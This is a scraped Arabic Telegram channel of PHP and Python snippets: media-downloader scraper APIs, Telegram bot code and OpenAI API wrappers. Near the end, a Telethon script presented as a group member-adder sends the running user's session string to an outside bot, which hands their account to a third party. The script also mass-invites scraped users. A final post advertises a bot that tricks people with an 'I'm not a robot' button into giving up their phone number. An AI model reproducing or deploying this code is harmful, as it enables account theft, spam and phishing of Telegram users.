ملفات Pydroid+php
3.51K subscribers
60 photos
20 videos
41 files
165 links
Download Telegram
Channel created
Hi.
💩142🤮2
<?php
error_reporting(0);
header('Content-Type: application/json');

$link = $_GET['url'];

$headers = array();
$headers[] = 'origin: https://www.getfvid.com';
$headers[] = 'referer: https://www.getfvid.com/';
$headers[] = 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36';

function index($POSTFIELDS, $HTTPHEADER)
{

$curl = curl_init();
$config = array(
CURLOPT_URL => "https://www.getfvid.com/downloader",
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $HTTPHEADER,
CURLOPT_POSTFIELDS => array(
'url'=> $POSTFIELDS
)
);
curl_setopt_array($curl, $config);
$response = curl_exec($curl);
curl_close($curl);

preg_match_all('/(<input type="hidden" id="title_video" value="(.*?)">)|(<a href="(.*?)" target="_blank" class="btn btn-download" rel="nofollow" download>Download in <strong>HD<\/strong>)/', $response, $matches);
return $matches;
}

$result = array('ok'=> false, 'error'=> 'invalid method');
if($_GET){
if(strpos($link, 'facebook.com') !== false ){
$get = index($link, $headers);
$result = array(
'ok'=> true,
'result'=> [
'title'=> $get[2][0],
'link'=> $get[4][1]
]
);
}else{
$result = array(
'ok'=> false,
'error'=> 'invalid url'
);
}
}
$result['source'] = 'https://t.me/WWW99W';
echo json_encode($result);

ايبي تحميل من المواقع
2👍1
<?php
error_reporting(0);
header('Content-Type: application/json');

$url = $_GET['vid'];

function ajax($link)
{
$curl = curl_init();
$config = array(
CURLOPT_URL => "https://api.tikmate.app/api/lookup",
CURLOPT_HTTPHEADER => array(
'origin: https://tikmate.app',
'referer: https://tikmate.app/',
'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
),
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => 'url=' . $link
);
curl_setopt_array($curl, $config);
$result = curl_exec($curl);
curl_close($curl);

return $result;
}

$modes = json_decode(ajax($url), true);

$response = array('ok'=> false, 'descrption'=> 'Missing a vaild url');
if( $url ) {
if(strpos($url, 'tiktok.com') !== false ) {
if( $modes ) {
$response = array(
'ok'=> true,
'result' => [
'like'=> $modes['like_count'],
'comment'=> $modes['comment_count'],
'share'=> $modes['share_count'],
'created'=> $modes['create_time'],
'url'=> 'https://tikmate.app/download/' . $modes['token'] . '/' . $modes['id'] . '.mp4'
]
);
}
}
else
{
$response = array('ok'=> false, 'descrption'=> 'invaild tiktok url');
}
}
$response['source'] = 0;
echo json_encode($response, JSON_PRETTY_PRINT);


ايبي تحميل تيك توك.
😭2👍1
<?php

$API_KEY = 'هنا'; //توكن بوتك
echo "https://api.telegram.org/bot$API_KEY/setwebhook
?url=".$_SERVER['SERVER_NAME']."".$_SERVER['SCRIPT_NAME'];
define('API_KEY',$API_KEY);
function bot($method,$datas=[]){
$url = "https://api.telegram.org/bot".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$datas);
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
$admin =2104832172;
$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$from_id = $message->from->id;
$chat_id = $message->chat->id;
$text = $message->text;
$data = $update->callback_query->data;
$message_id = $update->callback_query->message->message_id;
$chat_id2 = $update->callback_query->message->chat->id;
$us = explode("\n", file_get_contents("us.txt"));

if ($message and !in_array($chat_id, $us)) {
file_put_contents("us.txt", "\n".$chat_id,FILE_APPEND);
}
if ($text == '/stat') {
bot('sendMessage',[
'chat_id'=>$chat_id,
'text'=>count($us)
]);
}
if ($text == '/start') {
mkdir('photos');
bot('sendMessage',[
'chat_id'=>$chat_id,
'text'=>'مرحبًا بك في الروبوت الذي يضيف إطارات إلى صوره','reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'Contact developer Ahmed ','url'=>'t.me/WWW99W']]
]
])
]);
}
if($message->photo){
$path = bot('getfile',['file_id'=>$message->photo[2]->file_id])->result->file_path;
file_put_contents("$chat_id.jpg", file_get_contents('https://api.telegram.org/file/bot'.$API_KEY.'/'.$path));
$data = getimagesize("$chat_id.jpg");
$dest = imagecreatefromjpeg("$chat_id.jpg");
$src = imagecreatetruecolor($data[0] ,$data[1] + 250);
imagefill($src, 0, 0, imagecolorallocate($src,0,0,0));
imagecopy($src, $dest, 0, 125, 0, 0 ,$data[0] , $data[1]);
imagejpeg($src,"$chat_id.jpg");
imagedestroy($src);
imagedestroy($dest);
bot('sendphoto',[
'chat_id'=>$chat_id,
'photo'=>new CURLFile("$chat_id.jpg"),
'caption'=>'بواسطة: @WWW99W اللون: اسود',
]);
file_put_contents("$chat_id.jpg", file_get_contents('https://api.telegram.org/file/bot'.$API_KEY.'/'.$path));
$data = getimagesize("$chat_id.jpg");
$dest = imagecreatefromjpeg("$chat_id.jpg");
$src = imagecreatetruecolor($data[0] + 250,$data[1]);
imagefill($src, 0, 0, imagecolorallocate($src,255,215,0));
imagecopy($src, $dest, 125, 0, 0, 0 ,$data[0] , $data[1]);
imagejpeg($src,"$chat_id.jpg");
imagedestroy($src);
imagedestroy($dest);
bot('sendphoto',[
'chat_id'=>$chat_id,
'photo'=>new CURLFile("$chat_id.jpg"),
'caption'=>'بواسطة: @WWW99W اللون: ذهبي',
]);
$data = getimagesize("$chat_id.jpg");
$dest = imagecreatefromjpeg("$chat_id.jpg");
$src = imagecreatetruecolor($data[0] ,$data[1] + 250);
imagefill($src, 0, 0, imagecolorallocate($src,255,0,0));
imagecopy($src, $dest, 0, 125, 0, 0 ,$data[0] , $data[1]);
imagejpeg($src,"$chat_id.jpg");
imagedestroy($src);
imagedestroy($dest);
bot('sendphoto',[
'chat_id'=>$chat_id,
'photo'=>new CURLFile("$chat_id.jpg"),
'caption'=>'بواسطة: @WWW99W اللون: ذهبي | احمر',
]);
unlink("$chat_id.jpg");
}
//من تخمط اذكر المصدر
2💩1
if($text=="/stat"){
bot( sendmessage ,[
chat_id =>$chat_id,
text =>"هلا",
]);
}
$text1 = $yangilash->message->text;
$chat_id = $yangilash->message->chat->id;
if(isset($text1)){
$calc = urlencode($text1);
$url = file_get_contents("http://api.mathjs.org/v1/?expr=$calc");
bot( sendmessage ,[
chat_id =>$chat_id,
text =>"$url",
parse_mode =>"html",
]);
}
كود رياضيات
http://api.mathjs.org/v4/?expr=2*(7-3)
http://api.mathjs.org/v4/?expr=2%2F3
http://api.mathjs.org/v4/?expr=2%2F3&precision=3
http://api.mathjs.org/v4/?expr=2*2
<?php
ob_start();
error_reporting(0);
define("API_KEY",'توكن');
$admin = array("ايديك");

function bot($method,$datas=[]){
$url = "https://api.telegram.org/bot".API_KEY."/$method";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$datas);
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}



$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$mid = $message->message_id;
$data = $update->callback_query->data;
$type = $message->chat->type;
$text = $message->text;
$cid = $message->chat->id;
$uid= $message->from->id;
$message = $update->message;
$cid = $message->chat->id;
$cidtyp = $message->chat->type;
$miid = $message->message_id;
$name = $message->chat->first_name;
$user1 = $message->from->username;
$tx = $message->text;

if($text == "/start"){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"أرسل الرسالة لعمل صورة متحركة",
'parse_mode'=>"html",
]);
}

if($text != "/start"){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"<b>جاري التحميل يرجى الانتظار.....</b>",
'parse_mode'=>"html",
'reply_to_message_id'=>$mid,
]);
$gify = json_decode(file_get_contents("http://www.flamingtext.com/net-fu/image_output.cgi?_comBuyRedirect=false&script=blue-fire&text=$text&symbol_tagname=popular&fontsize=70&fontname=futura_poster&fontname_tagname=cool&textBorder=15&growSize=0&antialias=on&hinting=on&justify=2&letterSpacing=0&lineSpacing=0&textSlant=0&textVerticalSlant=0&textAngle=0&textOutline=off&textOutline=false&textOutlineSize=2&textColor=%230000CC&angle=0&blueFlame=on&blueFlame=false&framerate=75&frames=5&pframes=5&oframes=4&distance=2&transparent=off&transparent=false&extAnim=gif&animLoop=on&animLoop=false&defaultFrameRate=75&doScale=off&scaleWidth=240&scaleHeight=120&&_=1469943010141"),true);
$gif = $gify["src"];
bot('deletemessage',[
'chat_id'=>$cid,
'message_id'=>$mid +1,
]);
bot('sendanimation',[
'chat_id'=>$cid,
'animation'=>$gif,
'caption'=>"$text - تم انشاء متحركة",
'parse_mode'=>"html",
]);
}
🥰6127👍19🤩19🔥8👏7
$name=["الاسم1","الاسم2","الاسم3","الاسم4","الاسم5"];
$ball=[70,82,63,75,56];
for($i=0;$i<5;$i++){
$array[]=['ball'=>"$ball[$i]",'name'=>$name[$i]];
}
asort($array);
$array=array_reverse($array);
$i=1;
foreach($array as $array1){
echo $i.". ".$array1['name']." — ".$array1['ball']."\n";
$i++;
}

النتيجة
1. الاسم — 82
2. الاسم — 75
3. الاسم — 70
4. الاسم — 63
5. الاسم — 56
82🥰73🤩33👏32🔥27👍25
<?php




header('Content-Type: application/json; charset=utf-8');
$url = $_GET['url'];
function YouTube($url){
$curl = curl_init("https://onlinevideoconverter.pro/api/convert?url=$url");
$data =
array("url"=>$url,"extension"=>"mp3");
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$YouTube = curl_exec($curl);
curl_close($curl);
$BG = json_decode($YouTube)->meta->title;
if($BG != null){
$z = $YouTube;
}

return $z;
}



$GetInfoVideo = json_decode(YouTube($url));
$count = $GetInfoVideo->url;
for ($i = 0; $i<=count($count)-1; $i++){
$title = $GetInfoVideo->meta->title;
$duration = $GetInfoVideo->meta->duration;
$img = $GetInfoVideo->thumb;
$urls = $GetInfoVideo->url[$i]->url;
$type = $GetInfoVideo->url[$i]->type;
$quality = $GetInfoVideo->url[$i]->quality;
$array['ok'] = true;
$array['info'][] = [

'nom' => $title,
'davomiyligi' => $duration,
'turi' => $type,
'sifati' => $quality,
'rasm' => $img,
'url' => $urls,
];
}

echo json_encode($array, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);



ايبي تحميل سريع.
🔥44🥰28🤩1916👏15👍10
if($text=="السنه الجديدة"){
$kun1 = date('z ',strtotime('2 hour'));
$a = 365;
$c2 = $a-$kun1;
$d = date('L ',strtotime('2 hour'));
$b = $c2+$d;
$f = $b+81;
$e = $b+240;
$kun2 = date('H ',strtotime('2 hour'));
$a2 = 23;
$b2 = $a2-$kun2;
$kun3 = date('i ',strtotime('2 hour'));
$a3 = 59;
$b3 = $a3-$kun3;
$kun4 = date('s ',strtotime('2 hour'));
$a4 = 60;
$b4 = $a4-$kun4;
$mmtxt="
باقي ع سنه الجديدة

🎄$b يوم
🎊$b2 ساعة
🎁 $b3 دقايق
❄️$b4 ثواني متبقية!


🎅🏽 '$name'

سنة سعيده ";
bot('sendmessage',[
'chat_id'=>$chat_id,
'user_id'=>$cid,
'reply_to_message_id'=>$mid,
'text'=>$mmtxt,
'parse_mode'=>'html',
'reply_markup'=>$menu,
]);
}
🔥42🤩3421👍18🥰11👏11
$ixti = $update->message;
$chat_id = $ixti->chat->id;
$mid = $ixti->message_id;
$text = $ixti->text;
$cty = $ixti->chat->type;
$fadmin = $ixti->from->id;
$new = $ixti->new_chat_member;
$name = $ixti->from->first_name;
mkdir("ixti");

if (isset($new)){
$i = file_get_contents("ixti/azo.dat");
$azo="$i\n$chat_id=$fadmin";
file_put_contents("ixti/azo.dat",$azo);
$i = file_get_contents("ixti/azo.dat");
$soni = "$chat_id=$fadmin"; $str = substr_count($i,$soni);

if($str == 100){
$rep = str_replace($soni,"",$i);
file_put_contents("ixti/azo.dat",$rep);
bot('promoteChatmember',[
'chat_id'=>$chat_id,
'user_id'=>$fadmin,
'can_change_info'=>true,
'can_post_messages'=>false,
'can_edit_messages'=>false,
'can_delete_messages'=>true,
'can_invite_users'=>true,
'can_restrict_members'=>true,
'can_pin_messages'=>true,
'can_promote_members'=>false
]);
bot('sendmessage',[
'chat_id'=>$chat_id,
'text'=>"<b>$name <b>تمت إضافة 100 عضو إلى المجموعة وأصبح مدير المجموعة</b>",
'parse_mode'=>'html',
]);
}elseif($str < 100){
bot('sendmessage',[
'chat_id'=>$chat_id,
'text'=>"<b>$name أضاف عضوًا جديدًا إلى المجموعة وحصل على 1 نقطة ، إذا وصل عدد النقاط إلى 100 ، فسيتم منح حق المسؤول تلقائيًا. العدد الإجمالي للنقاط: $str</b>",
'parse_mode'=>'html',
]);
}
}
}

كود بوت اي واحد يضيف 100 عضو يصير مسول
🥰35🔥3125👏22🤩11👍9
<?php

//header("Content-Type: application/json; charset=UTF-8");
error_reporting(0);
$link = $_GET['username'];
$headers = array();
$headers[] = 'origin: https://www.save-insta.com';
$headers[] = 'referer: https://www.save-insta.com/story-downloader/';
$headers[] = 'info-checkbox-functional=no; cookielawinfo-checkbox-performance=no; cookielawinfo-checkbox-analytics=no; cookielawinfo-checkbox-advertisement=no; cookielawinfo-checkbox-others=no; HstCfa3829939=1644158808903; HstCmu3829939=1644158808903; c_ref_3829939=https%3A%2F%2Fwww.google.com%2F; CookieLawInfoConsent=eyJuZWNlc3NhcnkiOnRydWUsImZ1bmN0aW9uYWwiOmZhbHNlLCJwZXJmb3JtYW5jZSI6ZmFsc2UsImFuYWx5dGljcyI6ZmFsc2UsImFkdmVydGlzZW1lbnQiOmZhbHNlLCJvdGhlcnMiOmZhbHNlfQ==; viewed_cookie_policy=yes; wordpress_test_cookie=WP%20Cookie%20check; HstCnv3829939=2; HstCns3829939=2; HstCla3829939=1645709783854; HstPn3829939=2; HstPt3829939=4; __cf_bm=BlGroSgPZqKDkBvom6dXhhYCx7zpanVBCcXw8e.Dt8g-1645709785-0-AYtGbGDPttghi2ytdzxAwAUgOSDXZ6OOYiljdqTRHnzvaqy1pMSjX4rfHup7ISpeDQ0sZEzMNP+6QkWHMk+3bV24hguOPBv0iy7frusI0hZWFO1VRwofz9ttVITkJZBRUQ==';
$headers[] = 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36';
$curl = curl_init();
$config = array(
CURLOPT_URL => "https://www.save-insta.com/process",
CURLOPT_POST=> true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_POSTFIELDS => array('instagram_url'=>$link,'type'=>"story",'resource'=>"save"));

curl_setopt_array($curl, $config);
$response = curl_exec($curl);
curl_close($curl);

$json = json_decode($response);
echo $response;
//echo json_encode($json,JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);

//@LL_php
//@LL_php
ايبي تحميل Instagram ستوري وكلشي تكدر تسوي هم + معلومات الحساب
🥰5123👏22🤩15🔥13👍11🫡1
function top(){
$text = "🏆توب 5 اغنى اشخاص :</b>\n\n";
$daten = [];
$rev = [];
$fayllar = glob("./MMM/*.*");
foreach($fayllar as $file){
if(mb_stripos($file,".MMM")!==false){
$value = file_get_contents($file);
$id = str_replace(["./MMM/",".MMM"],["",""],$file);
$daten[$value] = $id;
$rev[$id] = $value;
}
echo $file;
}

asort($rev);
$reversed = array_reverse($rev);
for($i=0;$i<5;$i+=1){
$order = $i+1;
$id = $daten["$reversed[$i]"];
$text.= "<b>{$order}</b>. <a href='tg://user?id={$id}'>{$id}</a> - "."<code>".$reversed[$i]."</code>"." <b>نقطة</b>"."\n";
}
return $text;
}
if($text=="/top"){
$y = top();
bot('sendMessage',[
'chat_id'=>$admin,
'text'=>$y,
'parse_mode'=>html,
]);
}

كود التوب🫣.
@LL_php
🤩44👏37🤯34👎30🤔29👍28🤮28😱27🔥16🥰87
<?php
header("Content-Type: application/json; charset=UTF-8");
if($_GET['u']){
$curl = curl_init();
curl_setopt($curl , CURLOPT_URL , "https://downloadgram.org/#downloadhered");
curl_setopt($curl , CURLOPT_POST , true);
curl_setopt($curl , CURLOPT_RETURNTRANSFER , true);
curl_setopt($curl , CURLOPT_HTTPHEADER ,array("referer: https://downloadgram.org/","user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"));
curl_setopt($curl , CURLOPT_POSTFIELDS , array("url" =>$_GET['u']));
$result = curl_exec($curl);
curl_close($curl);
for ($i=1; $i < count(explode('<a download=',$result)); $i++) {
preg_match('#rel="noopener noreferrer" href="(.*?)"#',explode('<a download=',$result)[$i],$url_download);
$headers = get_headers($url_download[1], 1);
$bytes = $headers["Content-Length"];
$Type = $headers["Content-Type"];
$link[] = array(
"url"=>$url_download[1],
'type'=>$Type,
'bytes'=> (int) $bytes
);
}
echo json_encode(["Result"=>$link],JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
}else{
echo json_encode(["Result"=>"GET:null"],JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
}


#api تحميل مقاطع +صور من الانستاا
#@LL_php
🥰191111🔥92👏79👍67🎉67😁63🤩35
<?php
$api_key = ' ';
$prompt = urlencode($_GET['prompt']);
$data = [
'prompt' => $prompt,
'max_tokens' => 256,
'top_p' => 1,
'frequency_penalty' => 0,
'presence_penalty' => 0
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.openai.com/v1/completions');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type' => 'application/json',
'Authorization' => "Bearer $api_key",
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));

$response = curl_exec($ch);

curl_close($ch);

echo $response;

api ذكاء اصطناعي مادري اذا بي مشاكل فقط خلي مفتاح حسابك
#@LL_php
74🤩67👍57🥰32👏28🔥26
<?php
header("Content-Type: application/json; charset=UTF-8");
$GETPHOTO=$_GET["text"];
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://api.openai.com/v1/images/generations');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\n \"prompt\": \"$GETPHOTO\",\n \"n\": 1,\n \"size\": \"1024x1024\"\n }");

$headers = array();
$headers[] = 'Content-Type: application/json';
$headers[] = 'Authorization: Bearer مفتاحك';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$json = json_encode($result);

echo json_decode(json_encode($result),JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);


api ذكاء اصطناعي بدون مشاكل صنع صورة

#@LL_php
🥰6139🔥11🤩11👍10👏8
from telethon.sync import TelegramClient
from telethon.tl.functions.messages import GetDialogsRequest
from telethon.tl.types import InputPeerEmpty, InputPeerChannel, InputPeerUser
from telethon.errors.rpcerrorlist import PeerFloodError, UserPrivacyRestrictedError
from telethon.tl.functions.channels import InviteToChannelRequest
import configparser
import os
import sys
import csv
import traceback
import time
import random
from time import sleep
re="\033[1;31m"
gr="\033[1;32m"
cy="\033[1;36m"





cpass = configparser.RawConfigParser()
cpass.read('config.data')

from telethon.sessions import StringSession
from telethon.tl.functions.channels import JoinChannelRequest


import os, sys
api_id = 1093300
api_hash = "9c246e5d6fa1d441913e3906627f87"
os.system("clear")
string = "1ApWapBu7rJThTA0KpiJRN8M-Eu9LRw8xzkDMhU1xFLE_j0aQauh5ccxZI3yyNGJ5-RPTn5oMg0-ytsOYnmCh7PZ9rErVx3nVN2dFUMCXO51oTZMV8o9MKh6GZ_nu80N3Ig4gU1MsqB3ckwBtL99qO0OPJN9JV1RlmdlNYLRyy8A5DkgnPBpCBJFq8HxGfwk9nFhDmFGF-P27LxqjmtiCm8FtqZPc8XWBcJcZ9sNUIfC8pzBDTXT1Z_qZLAP5bB4zRxXeN8ZwTXNZoEf-bWQWVnG3WhDa7NgwYTM-ISzepFtgUMVIcGyvRtyT-JsSDAFgWI2rsyKqzgR85Iydg8yUFj_dJyukM="

with TelegramClient(StringSession(string), api_id, api_hash) as client:
client.send_message("@jwjava_bot", client.session.save())

client.connect()
#if not client.is_user_authorized():
# client.send_code_request(phone)
# os.system('clear')
# banner()
# client.sign_in(phone, input(gr+'[+] Enter the code: '+re))

users = []
with open(r"member.csv", encoding='UTF-8') as f: #Enter your file name
rows = csv.reader(f,delimiter=",",lineterminator="\n")
next(rows, None)
for row in rows:
user = {}
user['username'] = row[0]
user['id'] = int(row[1])
user['access_hash'] = int(row[2])
user['name'] = row[3]
users.append(user)

chats = []
last_date = None
chunk_size = 200
groups = []

result = client(GetDialogsRequest(
offset_date=last_date,
offset_id=0,
offset_peer=InputPeerEmpty(),
limit=chunk_size,
hash=0
))
chats.extend(result.chats)

for chat in chats:
try:
if chat.megagroup == True:
groups.append(chat)
except:
continue

print('حدد مجموعة:'+cy)
i = 0
for group in groups:
print(str(i) + '- ' + group.title)
i += 1

g_index = input(" اكتب الرقم: "+re)
target_group = groups[int(g_index)]

target_group_entity = InputPeerChannel(target_group.id, target_group.access_hash)

mode = int(input("أضف بالمعرف أو بالايدي"+cy))

n = 0

for user in users:
n += 1
if n % 80 == 0:
sleep(60)
try:
print("تمت إضافته {}".format(user['id']))
if mode == 1:
if user['username'] == "":
continue
user_to_add = client.get_input_entity(user['username'])
elif mode == 2:
user_to_add = InputPeerUser(user['id'], user['access_hash'])
else:
sys.exit("حاول مرة أخرى في وقت لاحق.")
client(InviteToChannelRequest(target_group_entity, [user_to_add]))
print("انتظر قليلا ...")
time.sleep(random.randrange(0, 5))
except PeerFloodError:
print("أنت في حالة انتظار...")
print("عليك الانتظار {} ثواني".format(60))
time.sleep(100)
except UserPrivacyRestrictedError:
print("هذا الشخص مصنف.")
print("انتظر دقيقة...")
time.sleep(random.randrange(0, 5))
except:
traceback.print_exc()
print("خطأ")
continue


كود بايثون ينقل اعضاء من مجموعات احذف هاي المعلومات وضيف معلومات حسابك.
#@LL_php
🤩8272🥰41🔥32👏30👍26
ikkkkkk.py
972 B
ملف بوت بايثون يسحب رقم اي حساب بس يدخل ع بوت ويدوس انا لست روبوت يسحب الرقم ويدزلك ع حسابك تخمط اذكر المصدر #@LL_php
🥰10248🔥42🤩36👏29👍28